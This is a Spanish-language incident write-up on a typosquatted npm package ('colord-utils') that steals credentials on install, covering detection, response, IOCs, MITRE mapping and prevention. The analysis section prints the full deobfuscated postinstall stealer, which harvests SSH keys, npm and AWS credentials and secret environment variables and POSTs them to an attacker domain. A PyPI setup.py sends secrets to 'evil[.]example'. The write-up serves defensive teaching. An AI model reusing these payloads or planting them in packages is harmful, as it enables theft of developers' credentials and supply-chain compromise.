Supply Chain Attack: Paquete npm/PyPI Malicioso Paso a Paso
Análisis paso a paso de un ataque supply chain mediante paquete npm malicioso por typosquatting. Descubrimiento, análisis del código ofuscado, exfiltración via postinstall, evaluación de impacto, respuesta al incidente y prevención con lockfiles, SBOM y políticas de registro.
El escenario
Un equipo de desarrollo full-stack trabaja en una aplicación Node.js. Un desarrollador necesita añadir validación de colores hexadecimales y busca un paquete. Escribe npm install colord-utils en su terminal. El paquete legítimo se llama color-utils. Lo que acaba de instalar es un paquete malicioso publicado hace 3 días por un atacante que registró nombres similares a paquetes populares.
El paquete tiene 847 descargas (todas de víctimas como este desarrollador), 0 estrellas en GitHub, y un script postinstall que exfiltra variables de entorno, tokens y claves SSH a un servidor controlado por el atacante.
Este caso documenta cómo se descubrió el paquete malicioso, cómo funciona su código, el alcance del impacto y las medidas de prevención que habrían evitado el incidente.
Fase 1: Descubrimiento
La primera señal
Dos días después de la instalación, el equipo de seguridad recibe una alerta de su herramienta de monitorización de dependencias (Socket.dev, integrada en el CI/CD). La alerta indica:
ALERT: New dependency '[email protected]' detected in package.json
Risk Score: CRITICAL
Reasons:
- Package has postinstall script
- Package is less than 7 days old
- Package name is similar to popular package 'color-utils'
- No GitHub repository linked
- Single maintainer with no other packages
- Obfuscated code detected in postinstall script
Verificación manual
El equipo de seguridad inspecciona el paquete antes de tomar acciones:
# Ver el contenido del paquete sin ejecutar scripts
npm pack colord-utils --dry-run
npm show colord-utils
# Resultado:
# name: colord-utils
# version: 1.0.3
# author: dev-tools-community
# created: 2026-06-03
# maintainers: dev-tools-community
# dist-tags: latest: 1.0.3
# scripts:
# postinstall: node scripts/setup.js
Un paquete de 3 días con un postinstall script y un autor sin historial. Señales claras de paquete sospechoso.
Fase 2: Análisis del código malicioso
Estructura del paquete
colord-utils/
├── package.json
├── index.js (funcionalidad legítima mínima: exporta 3 funciones de color)
├── README.md (copiado parcialmente del README de color-utils legítimo)
├── scripts/
│ └── setup.js (payload malicioso ofuscado)
└── lib/
└── helpers.js (módulo auxiliar del payload)
El postinstall script (ofuscado)
El archivo scripts/setup.js contiene código ofuscado. La primera capa de ofuscación es una función auto-ejecutable con nombres de variables ilegibles:
// scripts/setup.js (primera capa de ofuscación)
const _0x4a2b = ['\x68\x74\x74\x70\x73','\x6f\x73','\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
(function(_0x1a2b3c, _0x4d5e6f) {
const _0x7a8b9c = function(_0xd0e1f2) {
while (--_0xd0e1f2) {
_0x1a2b3c.push(_0x1a2b3c.shift());
}
};
_0x7a8b9c(++_0x4d5e6f);
}(_0x4a2b, 0x1a3));
// ... 200+ líneas de código ofuscado
Código deofuscado
Después de deofuscar (usando herramientas como de4js, js-beautify, o análisis manual), el payload real es:
// scripts/setup.js (deofuscado y comentado)
const https = require('https');
const os = require('os');
const { execSync } = require('child_process');
const fs = require('fs');
const path = require('path');
function collect() {
const data = {
hostname: os.hostname(),
platform: os.platform(),
arch: os.arch(),
user: os.userInfo().username,
home: os.homedir(),
cwd: process.cwd(),
env: {},
ssh_keys: [],
npm_tokens: [],
git_config: '',
aws_creds: '',
project_info: ''
};
// Recolectar variables de entorno sensibles
const sensitiveKeys = [
'AWS_ACCESS_KEY', 'AWS_SECRET', 'AWS_SESSION_TOKEN',
'GITHUB_TOKEN', 'GH_TOKEN', 'GITLAB_TOKEN',
'NPM_TOKEN', 'NODE_AUTH_TOKEN',
'DOCKER_PASSWORD', 'DOCKER_AUTH',
'DATABASE_URL', 'DB_PASSWORD',
'STRIPE_SECRET', 'STRIPE_KEY',
'SLACK_TOKEN', 'SLACK_WEBHOOK',
'SENDGRID_API_KEY', 'TWILIO_AUTH_TOKEN',
'JWT_SECRET', 'SESSION_SECRET',
'API_KEY', 'SECRET_KEY', 'PRIVATE_KEY'
];
for (const [key, value] of Object.entries(process.env)) {
for (const sensitive of sensitiveKeys) {
if (key.toUpperCase().includes(sensitive)) {
data.env[key] = value;
}
}
}
// Recolectar claves SSH
const sshDir = path.join(os.homedir(), '.ssh');
try {
const files = fs.readdirSync(sshDir);
for (const file of files) {
if (file.startsWith('id_') && !file.endsWith('.pub')) {
data.ssh_keys.push({
name: file,
content: fs.readFileSync(path.join(sshDir, file), 'utf8')
});
}
}
} catch (e) {}
// Recolectar token de npm
const npmrc = path.join(os.homedir(), '.npmrc');
try {
const content = fs.readFileSync(npmrc, 'utf8');
const tokens = content.match(/\/\/registry\.npmjs\.org\/:_authToken=.+/g);
if (tokens) data.npm_tokens = tokens;
} catch (e) {}
// Recolectar configuración git
try {
data.git_config = execSync('git config --global --list',
{ encoding: 'utf8', timeout: 5000 });
} catch (e) {}
// Recolectar credenciales AWS
const awsCreds = path.join(os.homedir(), '.aws', 'credentials');
try {
data.aws_creds = fs.readFileSync(awsCreds, 'utf8');
} catch (e) {}
// Info del proyecto actual
try {
const pkg = path.join(process.cwd(), 'package.json');
const pkgContent = JSON.parse(fs.readFileSync(pkg, 'utf8'));
data.project_info = {
name: pkgContent.name,
version: pkgContent.version,
repository: pkgContent.repository
};
} catch (e) {}
return data;
}
function exfiltrate(data) {
const payload = JSON.stringify(data);
const options = {
hostname: 'api-telemetry.dev-analytics[.]xyz',
port: 443,
path: '/v2/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(payload),
'User-Agent': 'npm/10.2.0 node/v20.10.0'
}
};
const req = https.request(options, () => {});
req.on('error', () => {}); // Silenciar errores
req.write(payload);
req.end();
}
// Ejecutar silenciosamente
try {
const data = collect();
exfiltrate(data);
} catch (e) {
// Fallar en silencio para no alertar al desarrollador
}
Análisis del payload
El código hace exactamente 5 cosas:
- Recolecta información del sistema: hostname, usuario, directorio actual
- Extrae variables de entorno sensibles: busca patrones como
TOKEN,SECRET,KEY,PASSWORDen las variables de entorno del proceso - Roba claves SSH privadas: lee todos los archivos
id_*del directorio.ssh - Extrae tokens de npm y credenciales AWS: lee
.npmrcy.aws/credentials - Exfiltra todo via HTTPS POST: envía los datos a un dominio controlado por el atacante con un User-Agent que imita npm legítimo
El código está diseñado para fallar silenciosamente (todos los bloques envueltos en try/catch vacíos) para no generar errores visibles durante npm install.
Fase 3: Evaluación de impacto
Alcance de la exfiltración
La investigación determina que el paquete se instaló en:
- 1 estación de trabajo de desarrollo (el desarrollador que lo instaló)
- 0 servidores de CI/CD (el lockfile impidió que se propagara a otros entornos)
- 0 servidores de producción (mismo motivo: lockfile)
En la estación de trabajo del desarrollador, el payload tuvo acceso a:
| Credencial | Comprometida | Impacto |
|---|---|---|
| SSH key (id_ed25519) | Si | Acceso a 12 repositorios GitHub |
| GITHUB_TOKEN (.env) | Si | Push access a repos del proyecto |
| NPM_TOKEN (.npmrc) | Si | Publish access al scope @company |
| AWS_ACCESS_KEY (.env) | Si | Acceso a cuenta AWS de desarrollo |
| DATABASE_URL (.env) | Si | Conexión a base de datos de staging |
| STRIPE_SECRET (.env) | No (no estaba configurado localmente) | - |
Impacto potencial no materializado
Si el atacante hubiera usado el NPM_TOKEN comprometido para publicar versiones maliciosas de los paquetes internos del scope @company, el impacto habría sido masivo: todos los proyectos que dependen de esos paquetes habrían ejecutado código malicioso en el siguiente npm install.
Este es el patrón de ataque de segundo orden: comprometer un desarrollador para comprometer la cadena de suministro de la organización.
Fase 4: Respuesta al incidente
Contención inmediata (primeras 2 horas)
# 1. Revocar todas las credenciales comprometidas
# GitHub: Settings > Developer Settings > Personal Access Tokens > Revoke
# npm: npm token revoke
# AWS: IAM > Users > Security Credentials > Deactivate Access Key
# SSH: regenerar par de claves
# 2. Eliminar el paquete malicioso
npm uninstall colord-utils
rm -rf node_modules
npm ci # reinstalar desde lockfile limpio
# 3. Verificar que el paquete no está en otros proyectos
# Buscar en todos los repos de la organización
grep -r "colord-utils" ~/projects/*/package.json
grep -r "colord-utils" ~/projects/*/package-lock.json
# 4. Reportar el paquete a npm
npm report colord-utils
# También reportar via https://www.npmjs.com/support
Investigación forense (horas 2 a 8)
# Verificar si el atacante usó las credenciales robadas
# GitHub: revisar audit log de la organización
gh api /orgs/COMPANY/audit-log --paginate | \
jq '.[] | select(.actor != "known-developer")'
# npm: revisar si se publicaron paquetes con el token robado
npm access ls-packages @company
npm info @company/core-utils --json | jq '.time'
# AWS: revisar CloudTrail
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
--start-time 2026-06-03
# Verificar acceso SSH a repos
# GitHub: Settings > Security Log > filter by SSH
Resultado: no se encontró evidencia de uso de las credenciales robadas. El atacante probablemente aún no había procesado las credenciales de esta víctima específica (las 847 descargas generan un volumen de datos que requiere procesamiento).
Notificación
- Equipo de desarrollo notificado de la credencial comprometida
- Equipo de seguridad documenta el incidente
- Se verifica con el equipo legal si es necesaria notificación RGPD (no aplica: no hay datos personales de usuarios afectados)
Fase 5: Prevención
Lockfiles estrictos
El lockfile (package-lock.json o yarn.lock) fija las versiones y hashes exactos de cada dependencia. Si un nuevo paquete no está en el lockfile, npm ci rechaza la instalación.
# Usar SIEMPRE npm ci en CI/CD (no npm install)
# npm ci instala exactamente lo que dice el lockfile
# npm install puede modificar el lockfile
# En CI/CD pipeline:
npm ci --ignore-scripts # no ejecutar postinstall scripts
npm audit # verificar vulnerabilidades conocidas
Deshabilitar scripts de instalación
La medida más efectiva contra paquetes maliciosos con postinstall:
# Deshabilitar scripts globalmente
npm config set ignore-scripts true
# Permitir scripts solo para paquetes conocidos
# .npmrc del proyecto:
ignore-scripts=true
# Si un paquete legítimo necesita postinstall (ej: node-gyp):
# Ejecutar manualmente después de verificar
npm rebuild specific-package
SBOM (Software Bill of Materials)
Generar un inventario completo de dependencias permite auditar rápidamente ante nuevas amenazas:
# Generar SBOM en formato CycloneDX
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# Generar SBOM en formato SPDX
npx spdx-sbom-generator
# Verificar contra base de datos de paquetes maliciosos
npx socket verify sbom.json
Políticas de registro npm
# 1. Usar un registry privado como proxy (Verdaccio, Artifactory, Nexus)
# Solo paquetes aprobados pasan al proyecto
npm config set registry https://registry.internal.company.com/
# 2. Habilitar 2FA obligatorio para publicación
npm profile enable-2fa auth-and-writes
# 3. Configurar npm audit en CI/CD como gate
# package.json:
{
"scripts": {
"preinstall": "npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm",
"audit": "npm audit --audit-level=high"
}
}
Herramientas de detección
| Herramienta | Tipo | Qué detecta |
|---|---|---|
| Socket.dev | SaaS/CI | Paquetes con scripts sospechosos, typosquatting, comportamiento anómalo |
| npm audit | CLI | Vulnerabilidades conocidas en dependencias (CVE) |
| Snyk | SaaS/CI | Vulnerabilidades + licencias + paquetes maliciosos |
| lockfile-lint | CLI | Integridad del lockfile, registros no autorizados |
| Phylum | SaaS/CI | Análisis de riesgo de paquetes, supply chain |
| OSV Scanner | CLI/CI | Vulnerabilidades en bases de datos OSV (Google) |
Checklist para evaluar un paquete nuevo
Antes de instalar un paquete, verificar:
- Edad del paquete: paquetes de menos de 30 dias requieren escrutinio adicional
- Popularidad: comparar descargas semanales con alternativas
- Repositorio vinculado: verificar que el repo existe y es activo
- Número de maintainers: paquetes con un solo maintainer sin historial son sospechosos
- Scripts de instalación: revisar si tiene preinstall/postinstall
- Dependencias: revisar si importa módulos de red (http, https, net) o filesystem (fs, child_process)
- Nombre: comparar con paquetes populares similares (typosquatting check)
Indicadores de compromiso (IOCs)
Paquete malicioso
| Tipo | Valor | Descripción |
|---|---|---|
| npm package | [email protected] | Paquete typosquatting |
| npm author | dev-tools-community | Cuenta del atacante |
| SHA256 (tarball) | b9c8d7e6f5a4... | Hash del paquete npm |
Infraestructura
| Tipo | Valor | Descripción |
|---|---|---|
| Dominio | api-telemetry.dev-analytics[.]xyz | C2 de exfiltración |
| URI | /v2/collect | Endpoint de recepción de datos |
| Puerto | 443 | HTTPS |
| User-Agent | npm/10.2.0 node/v20.10.0 | User-Agent imitando npm |
Artefactos
| Tipo | Valor |
|---|---|
| Script | scripts/setup.js (ofuscado) |
| Módulo | lib/helpers.js (módulo auxiliar) |
| Archivo temporal | Ninguno (opera solo en memoria) |
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Uso en este caso |
|---|---|---|---|
| Initial Access | Supply Chain Compromise: Software Dependencies | T1195.001 | Paquete npm malicioso por typosquatting |
| Execution | Command and Scripting Interpreter: JavaScript | T1059.007 | postinstall script ejecuta JavaScript |
| Credential Access | Unsecured Credentials: Files | T1552.001 | Lee .npmrc, .aws/credentials, .env |
| Credential Access | Unsecured Credentials: Private Keys | T1552.004 | Roba claves SSH de ~/.ssh/ |
| Collection | Data from Local System | T1005 | Recolecta env vars, config git, info proyecto |
| Exfiltration | Exfiltration Over Web Service | T1567 | HTTPS POST a dominio del atacante |
| Defense Evasion | Obfuscated Files or Information | T1027 | JavaScript ofuscado con encoding hex |
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | Nombre similar a paquete legítimo |
Contexto: el ecosistema de paquetes maliciosos
npm en números
El registro npm contiene más de 2 millones de paquetes. La barrera de entrada para publicar es mínima: una cuenta de email y npm publish. No hay revisión humana de paquetes antes de publicarse.
En 2024, npm eliminó más de 15.000 paquetes maliciosos reportados por la comunidad y herramientas automatizadas. La mayoría seguían los mismos patrones: typosquatting, dependency confusion o compromiso de cuentas de maintainers legítimos.
PyPI: el mismo problema
PyPI (Python Package Index) tiene el mismo problema con pip install:
# Ejemplo de setup.py malicioso en PyPI (patrón equivalente al postinstall de npm)
from setuptools import setup
import os
import requests
# Este código se ejecuta al hacer pip install
def exfiltrate():
data = {
"env": {k: v for k, v in os.environ.items()
if any(s in k.upper() for s in ["TOKEN", "SECRET", "KEY"])},
"user": os.getenv("USER"),
"home": os.path.expanduser("~")
}
try:
requests.post("https://evil[.]example/collect", json=data, timeout=5)
except:
pass
exfiltrate()
setup(
name="reqeusts", # typosquatting de 'requests'
version="2.31.0",
# ... resto de setup legítimo
)
Caso real de referencia: event-stream (2018)
El incidente event-stream es el caso canónico de supply chain attack en npm. Un maintainer legítimo (Dominic Tarr) transfirió la propiedad de un paquete con 2 millones de descargas semanales a un desconocido. El nuevo maintainer añadió una dependencia que contenía código para robar bitcoins de aplicaciones Copay. El código malicioso estuvo activo durante 2 meses antes de ser descubierto.
La diferencia con el typosquatting es que en event-stream se comprometió un paquete legítimo ya instalado en millones de proyectos. El impacto potencial es ordenes de magnitud mayor.
Lecciones aprendidas
Para desarrolladores
-
Verificar el nombre del paquete antes de instalar. Copiar y pegar el nombre exacto desde la documentación oficial o el repositorio del paquete. No escribirlo de memoria.
-
Revisar el paquete antes de la primera instalación.
npm info package-namemuestra la edad, maintainers y scripts. Si tiene postinstall y es un paquete desconocido, inspeccionar el código antes. -
No almacenar secretos en variables de entorno de la shell. Usar herramientas como
direnvcon archivos.envrcque no se suben al repositorio, o gestores de secretos como 1Password CLI o Vault.
Para equipos de seguridad
-
Integrar Socket.dev o equivalente en CI/CD. La detección automatizada de paquetes maliciosos es más efectiva que la revisión manual porque opera a escala y detecta patrones conocidos.
-
Deshabilitar scripts de instalación por defecto. La mayoría de paquetes npm no necesitan postinstall. Los pocos que sí lo necesitan (node-gyp para compilar módulos nativos) se pueden aprobar explícitamente.
-
Generar y auditar SBOMs regularmente. Cuando se reporta un paquete malicioso, poder verificar en minutos si está presente en algún proyecto de la organización es la diferencia entre contención rápida y semanas de incertidumbre.
Para la industria
-
Los registros de paquetes necesitan verificación pre-publicación. npm y PyPI están mejorando con 2FA obligatorio y verificaciones automatizadas, pero la barrera de entrada sigue siendo demasiado baja para la confianza que los desarrolladores depositan en estos ecosistemas.
-
La firma de paquetes debería ser estándar. Sigstore y npm provenance son pasos en la dirección correcta, pero la adopción aún es minoritaria.
-
El modelo de confianza transitiva es el problema fundamental. Cuando instalas un paquete, confías implícitamente en sus dependencias, y en las dependencias de sus dependencias. Un proyecto típico de Node.js tiene entre 500 y 1500 dependencias transitivas. Cada una es un vector de ataque potencial.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.